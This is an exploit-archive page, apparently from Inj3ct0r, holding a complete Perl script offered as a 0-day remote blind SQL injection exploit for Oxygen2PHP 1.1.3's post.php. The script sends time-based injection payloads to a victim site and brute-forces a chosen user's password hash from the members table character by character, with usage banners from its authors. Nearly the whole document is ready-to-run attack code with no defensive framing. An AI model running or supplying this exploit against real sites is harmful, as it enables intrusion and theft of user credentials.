<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Oxygen2PHP &lt;= 1.1.3 (post.php) Blind SQL Injection Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==========================================================
Oxygen2PHP &lt;= 1.1.3 (post.php) Blind SQL Injection Exploit
==========================================================

#!/usr/bin/perl
#[0-Day] Oxygen2PHP &lt;= 1.1.3 (post.php) Remote Blind SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use strict;
use LWP::UserAgent;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = &quot;http://www.victime_site.org/path/&quot;; #Insert Victime Web Site Link
my $uid = shift or &amp;usage;
my $Method = HTTP::Request-&gt;new(GET =&gt; $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = &quot;http://warwolfz.altervista.org/&quot;;
my $DefaultTime = request($Referrer);

sub Blind_SQL_Jnjection{
my ($dec,$hex) = @_;
return &quot;./post.php?action=newthread&amp;fid=’+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `o2_members` WHERE `uid`=${uid})/*&quot;;
}

for(my $I=1; $I&lt;=32; $I++){ #N Hash characters
for(my $J=0; $J&lt;=15; $J++){ #0 -&gt; F
$Time_Start = time();
$HTTP-&gt;get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
$Time_End = time();
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End – $Time_Start &gt; 6){
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
if($Time_End – $Time_Start &gt; 6){
syswrite(STDOUT,chr($chars[$J]));
$Hash .= chr($chars[$J]);
$Time = request($Referrer);
refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
last;
}
}
}
if($I == 1 &amp;&amp; length $Hash &lt; 0 &amp;&amp; !$Hash){
print &quot; * Exploit Failed *n&quot;;
print &quot; —————————————————— n&quot;;
exit;
}
if($I == 32){
print &quot; * Exploit Successfully Executed *n&quot;;
print &quot; ——————————————————n &quot;;
system(&quot;pause&quot;);
}
}

sub usage{
system(&quot;cls&quot;);
{
print &quot; n [0-Day] Oxygen2PHP &lt;= 1.1.3 (post.php) Remote Blind SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [uid] *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
exit;
}

sub request{
$Referrer = $_[0];
$Method-&gt;referrer($Referrer);
$Start = Time::HiRes::time();
$Response = $HTTP-&gt;request($Method);
$Response-&gt;is_success() or die &quot;$Host : &quot;, $Response-&gt;message,&quot;n&quot;;
$End = Time::HiRes::time();
$Time = $End – $Start;
return $Time;
}

sub refresh{
system(&quot;cls&quot;);
{
print &quot; n [0-Day] Oxygen2PHP &lt;= 1.1.3 (post.php) Remote Blind SQL Injection Exploitn&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * USAGE: *n&quot;;
print &quot; * cd [Local Disk]:\[Directory Of Exploit]\ *n&quot;;
print &quot; * perl name_exploit.pl [uid] *n&quot;;
print &quot; —————————————————— n&quot;;
print &quot; * Powered By Dante90, WaRWolFz Crew *n&quot;;
print &quot; * www.warwolfz.org – dante90_founder[at]warwolfz.org *n&quot;;
print &quot; —————————————————— n&quot;;
};
print &quot; * Victime Site: &quot; . $_[0] . &quot;n&quot;;
print &quot; * Default Time: &quot; . $_[1] . &quot; secondsn&quot;;
print &quot; * BruteForcing Hash: &quot; . chr($chars[$_[2]]) . &quot;n&quot;;
print &quot; * BruteForcing N Char Hash: &quot; . $_[5] . &quot;n&quot;;
print &quot; * SQL Time: &quot; . $_[4] . &quot; secondsn&quot;;
print &quot; * Hash: &quot; . $_[3] . &quot;n&quot;;
}

#WaRWolFz Crew

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-06-30]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13072